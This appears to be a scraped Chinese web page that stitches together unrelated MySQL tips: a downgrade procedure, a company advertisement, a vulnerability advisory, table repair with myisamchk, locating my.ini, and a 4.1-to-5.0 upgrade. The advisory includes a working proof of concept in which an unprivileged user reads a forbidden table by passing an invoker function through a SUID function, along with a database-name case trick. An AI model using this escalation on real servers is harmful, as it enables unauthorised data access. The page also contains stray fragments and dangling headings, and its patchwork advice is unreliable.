可以在5.45中使用mysqldump將數(shù)據(jù)導(dǎo)出。然后安裝mysql4.0.26,然后將數(shù)據(jù)導(dǎo)入,注意在mysql4.0.26中,不支持多字符集,所有的字符的存儲(chǔ)都是latin1的。因此最好在5.45中先mysqldump出表結(jié)構(gòu),然后再mysqldump出數(shù)據(jù);再在mysql4中創(chuàng)建數(shù)據(jù)庫(kù)和表,創(chuàng)建的時(shí)候去掉表的字符集的選項(xiàng),表創(chuàng)建好后再將數(shù)據(jù)導(dǎo)入庫(kù)中。
成都創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站制作、閻良網(wǎng)絡(luò)推廣、成都小程序開發(fā)、閻良網(wǎng)絡(luò)營(yíng)銷、閻良企業(yè)策劃、閻良品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);成都創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供閻良建站搭建服務(wù),24小時(shí)服務(wù)熱線:18980820575,官方網(wǎng)址:www.cdcxhl.com
1、創(chuàng)建數(shù)據(jù)庫(kù)
$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、權(quán)限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建議:
廠商補(bǔ)丁:MySQL AB
目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問(wèn)題,請(qǐng)到廠商的主頁(yè)下載。
有兩種方法,一種方法使用mysql的check table和repair table 的sql語(yǔ)句,另一種方法是使用MySQL提供的多個(gè)myisamchk, isamchk數(shù)據(jù)檢測(cè)恢復(fù)工具。前者使用起來(lái)比較簡(jiǎn)便。推薦使用。
1. check table 和 repair table
登陸mysql 終端:
mysql -uxxxxx -p dbname
check table tabTest;
如果出現(xiàn)的結(jié)果說(shuō)Status是OK,則不用修復(fù),如果有Error,可以用:
repair table tabTest;
進(jìn)行修復(fù),修復(fù)之后可以在用check table命令來(lái)進(jìn)行檢查。在新版本的phpMyAdmin里面也可以使用check/repair的功能。
2. myisamchk, isamchk
其中myisamchk適用于MYISAM類型的數(shù)據(jù)表,而isamchk適用于ISAM類型的數(shù)據(jù)表。這兩條命令的主要參數(shù)相同,一般新的系統(tǒng)都使用MYISAM作為缺省的數(shù)據(jù)表類型,這里以myisamchk為例子進(jìn)行說(shuō)明。當(dāng)發(fā)現(xiàn)某個(gè)數(shù)據(jù)表出現(xiàn)問(wèn)題時(shí)可以使用:
myisamchk tablename.MYI
進(jìn)行檢測(cè),如果需要修復(fù)的話,可以使用:
myisamchk -of tablename.MYI
關(guān)于myisamchk的詳細(xì)參數(shù)說(shuō)明,可以參見它的使用幫助。需要注意的時(shí)在進(jìn)行修改時(shí)必須確保MySQL服務(wù)器沒(méi)有訪問(wèn)這個(gè)數(shù)據(jù)表,保險(xiǎn)的情況下是最好在進(jìn)行檢測(cè)時(shí)把MySQL服務(wù)器Shutdown掉。
-----------------------------
另外可以把下面的命令放在你的rc.local里面啟動(dòng)MySQL服務(wù)器前:
[ -x /tmp/mysql.sock ] /pathtochk/myisamchk -of /DATA_DIR/*/*.MYI
其中的/tmp/mysql.sock是MySQL監(jiān)聽的Sock文件位置,對(duì)于使用RPM安裝的用戶應(yīng)該是/var/lib/mysql/mysql.sock,對(duì)于使用源碼安裝則是/tmp/mysql.sock可以根據(jù)自己的實(shí)際情況進(jìn)行變更,而pathtochk則是myisamchk所在的位置,DATA_DIR是你的MySQL數(shù)據(jù)庫(kù)存放的位置。
需要注意的時(shí),如果你打算把這條命令放在你的rc.local里面,必須確認(rèn)在執(zhí)行這條指令時(shí)MySQL服務(wù)器必須沒(méi)有啟動(dòng)!檢測(cè)修復(fù)所有數(shù)據(jù)庫(kù)(表)
首先打開MySQL數(shù)據(jù)庫(kù)MySQL Workbench 6.3 CE,這個(gè)是MySQL數(shù)據(jù)庫(kù)的管理工具 ,如下圖
點(diǎn)擊Server Status,如下圖所示
管理界面上則顯示了MySQL的服務(wù)狀態(tài),如下圖
下圖紅色圈出內(nèi)容即為MySQL的配置文件my.ini,而且往下拉也有各種文件的具體位置和數(shù)據(jù)的存儲(chǔ)位置,這樣看來(lái)就一目了然了
接下來(lái)我們就根據(jù)界面上所顯示的位置,例如小編的位置就是C:\ProgramData\MySQL\MySQL Server5.7\my.ini,在文件資源管理器的地址來(lái)輸入,就可以跳轉(zhuǎn)到文件所在位置,此步應(yīng)根據(jù)自己的MySQL安裝位置來(lái)操作。如果直接輸入地址,提示錯(cuò)誤信息,此時(shí)只要輸入C:\ProgramData\,(視自己的安裝位置而定)再對(duì)應(yīng)找就行了
6
打開文件就可以對(duì)端口、文件存儲(chǔ)位置等各種配置信息進(jìn)行修改,修改之后重啟數(shù)據(jù)庫(kù)服務(wù),如果第一次修改,最好借鑒網(wǎng)上其他人的經(jīng)驗(yàn),一步一步來(lái),避免出現(xiàn)差錯(cuò)。本次分享到此為止,謝謝!
我們知道,mysql的不同版本,有可能會(huì)存在著一些差異,比如:
hive中支持的數(shù)據(jù)轉(zhuǎn)換:
linux一次導(dǎo)入多個(gè)sql文件
1) 首先備份MySQL4.1上的所有數(shù)據(jù)庫(kù),包含系統(tǒng)庫(kù)和非系統(tǒng)庫(kù)
2) 卸載掉MySQL4.1版本,并清除掉MySQL數(shù)據(jù)自身的系統(tǒng)庫(kù)(庫(kù)名MySQL)
3) 新安裝MySQL5.0版本,并啟動(dòng)之
4) 從主控上,對(duì)這個(gè)MySQL服務(wù)器做檢測(cè)與修復(fù),重建所有MySQL帳號(hào)
5) 將原先的用戶數(shù)據(jù)庫(kù),覆蓋回去,即可運(yùn)行
其中有幾點(diǎn)需要特別注意:
1) MySQL的系統(tǒng)庫(kù)mysql一定要移除,否則新裝mysql5.0后會(huì)無(wú)法啟動(dòng)
2) 必須使用檢測(cè)修復(fù)的方式來(lái)重建mysql上的所有用戶名和密碼
3) 回蓋用戶數(shù)據(jù)時(shí)候,千萬(wàn)不要覆蓋MySQL的系統(tǒng)庫(kù)mysql,
否則會(huì)啟動(dòng)失敗
4) 要使用直接移動(dòng)/var/lib/mysql/庫(kù)名/數(shù)據(jù)庫(kù)文件的方式
而不能使用mysqldump方式將數(shù)據(jù)庫(kù)轉(zhuǎn)成sql腳本
一旦做了sql腳本轉(zhuǎn)換,幾乎一定會(huì)出現(xiàn)亂碼問(wèn)題
而直接移動(dòng)、復(fù)制數(shù)據(jù)庫(kù)文件,就不存在亂碼問(wèn)題
mysql4.1和5.0的升級(jí)會(huì)平滑完成,所有字符集瀏覽全部正常
特別注意事項(xiàng):主控?cái)?shù)據(jù)庫(kù)所使用的mysql版本不能升級(jí)